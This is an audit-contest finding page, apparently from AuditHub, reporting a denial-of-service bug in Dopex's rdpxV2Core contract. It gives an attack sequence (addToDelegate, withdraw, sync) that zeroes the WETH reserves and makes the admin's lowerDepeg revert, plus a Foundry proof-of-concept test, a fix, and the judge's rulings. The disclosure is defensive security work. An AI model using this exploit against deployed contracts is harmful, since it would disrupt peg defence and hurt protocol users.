Dopex - 0xrafaelnicolau's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 150/189

Findings: 1

Award: $0.19

🌟 Selected for report: 1

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110

Vulnerability details

Impact

In a scenario where extreme market conditions necessitate the execution of the lowerDepeg function to restore the dpxETH/ETH peg, an attacker can exploit the flawed interaction between the addToDelegate, withdraw, and sync functions to force a revert on the admin's attempt to restore the peg. As a result, the protocol will not be able to effectively defend the peg, leading to potential disruptions in the protocol's peg stability module.

Proof of Concept

If 1 dpxETH < 1 ETH, the rpdxV2Core contract admin will call the lowerDepeg function to restore the peg. The backing reserves are used to buy and burn dpxETH from the curve pool to bring back the peg to 1 ETH. An attacker can execute a transaction to manipulate the WETH reserves and cause the admin transaction to revert.

  1. The attacker initiates the exploit by calling the addToDelegate function, and depositing WETH into rpdxV2Core contract. By doing so, the attacker effectively updates the totalWethDelegated state variable, increasing it by the deposited amount. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964

  2. The attacker subsequently calls the withdraw function, which does not update the totalWethDelegated state variable. Consequently, the totalWethDelegated variable retains the inflated value of WETH delegated, even though the WETH has neither been delegated nor it remains available, since it was withdrawn. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990

  3. Finally, the attacker calls the sync function which inaccurately updates the WETH reserves by subtracting the inflated totalWethDelegated value. This manipulation artificially reduces the WETH reserves in the contract to a really small value or even zero. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002

  4. The rpdxV2Core admin calls the lowerDepeg function to restore the dpxETH/ETH peg, which ultimately will revert due to an underflow error. https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110

Note that the attacker can loop through the process outlined in steps 1. and 2., thereby increasing the totalWethDelegated through a small input amount, before executing the sync function. As a result, this attack becomes financially inexpensive to execute.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import {Setup} from "./Setup.t.sol";
import "../../lib/forge-std/src/console.sol";
import "../../lib/forge-std/src/StdError.sol";

contract Exploit is Setup {
    function testExploitWETHReserves() external {
        // note: setup
        address user1 = address(0x1001);
        address user2 = address(0x1002);
        weth.mint(address(user1), 10 ether);
        weth.mint(address(user2), 10 ether);
        rdpx.mint(address(user1), 1000000 ether);
        // user1 bonds
        vm.startPrank(user1);
        rdpx.approve(address(rdpxV2Core), type(uint256).max);
        weth.approve(address(rdpxV2Core), type(uint256).max);
        rdpxV2Core.bond(10 ether, 0, address(this));
        vm.stopPrank();

        // note: weth reserves manipulation 
        // gets the reserve of WETH in the core contract
        vm.startPrank(user2);
        (,uint256 wethReserveBefore,) = rdpxV2Core.getReserveTokenInfo("WETH");
        console.log("WETH reserve before: ", wethReserveBefore);
        // approve rpdxV2Core to spend WETH
        weth.approve(address(rdpxV2Core), type(uint256).max);
        // delegate WETH, and assert it was delegated
        uint256 delegateId = rdpxV2Core.addToDelegate(wethReserveBefore, 1e8);
        assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore);
        // withdraw WETH, assert WETH was withdrawn but it still says WETH is delegated
        rdpxV2Core.withdraw(delegateId);
        assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore);
        // assert that the user2 has the same balance he had before
        assertTrue(weth.balanceOf(user2) == 10 ether);
        // call sync and make WETH reserves -= WETH delegated
        rdpxV2Core.sync();
        // check the amount of WETH in reserves after and assert it is smaller than before
        (,uint256 wethReserveAfter,) = rdpxV2Core.getReserveTokenInfo("WETH");
        assertTrue(wethReserveBefore - rdpxV2Core.totalWethDelegated() == wethReserveAfter);
        console.log("WETH reserve after:  ", wethReserveAfter);
        vm.stopPrank();

        // note: admin tries to defend the peg.
        // update the dpxETH price to simulate 1 dpxETH < 1 ETH
        dpxEthPriceOracle.updateDpxEthPrice(98137847);
        // expect the transaction to revert with an underflow.
        vm.expectRevert(stdError.arithmeticError);
        rdpxV2Core.lowerDepeg(0, 10 ether, 0, 0);
}

Tools Used

Manual Review, Foundry

Update the totalWethDelegated in the withdraw function.

    function withdraw(uint256 delegateId) external returns (uint256 amountWithdrawn) {
        _whenNotPaused();
        _validate(delegateId < delegates.length, 14);
        Delegate storage delegate = delegates[delegateId];
        _validate(delegate.owner == msg.sender, 9);

        amountWithdrawn = delegate.amount - delegate.activeCollateral;
        _validate(amountWithdrawn > 0, 15);
        delegate.amount = delegate.activeCollateral;
+       totalWethDelegated -= amountWithdrawn;

        IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn);

        emit LogDelegateWithdraw(delegateId, amountWithdrawn);
    }

Assessed type

DoS

#0 - c4-pre-sort

2023-09-07T08:13:29Z

bytes032 marked the issue as duplicate of #2186

#1 - c4-judge

2023-10-20T17:55:32Z

GalloDaSballo changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-10-20T17:58:15Z

GalloDaSballo changed the severity to 3 (High Risk)

#3 - GalloDaSballo

2023-10-20T17:58:47Z

Best + explains why it's high

#4 - GalloDaSballo

2023-10-20T18:00:17Z

TODO: Dups -> Incorrect accounting 25% -> Sync + accounting -> 50% -> 100% only if also breaks the operation

#5 - c4-judge

2023-10-21T07:17:34Z

GalloDaSballo marked the issue as satisfactory

#6 - c4-judge

2023-10-21T07:32:03Z

GalloDaSballo marked the issue as selected for report

#7 - c4-judge

2023-10-21T16:03:07Z

GalloDaSballo marked the issue as not selected for report

#8 - c4-judge

2023-10-21T16:03:13Z

GalloDaSballo marked the issue as selected for report

#9 - c4-judge

2023-10-30T20:04:14Z

GalloDaSballo removed the grade

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter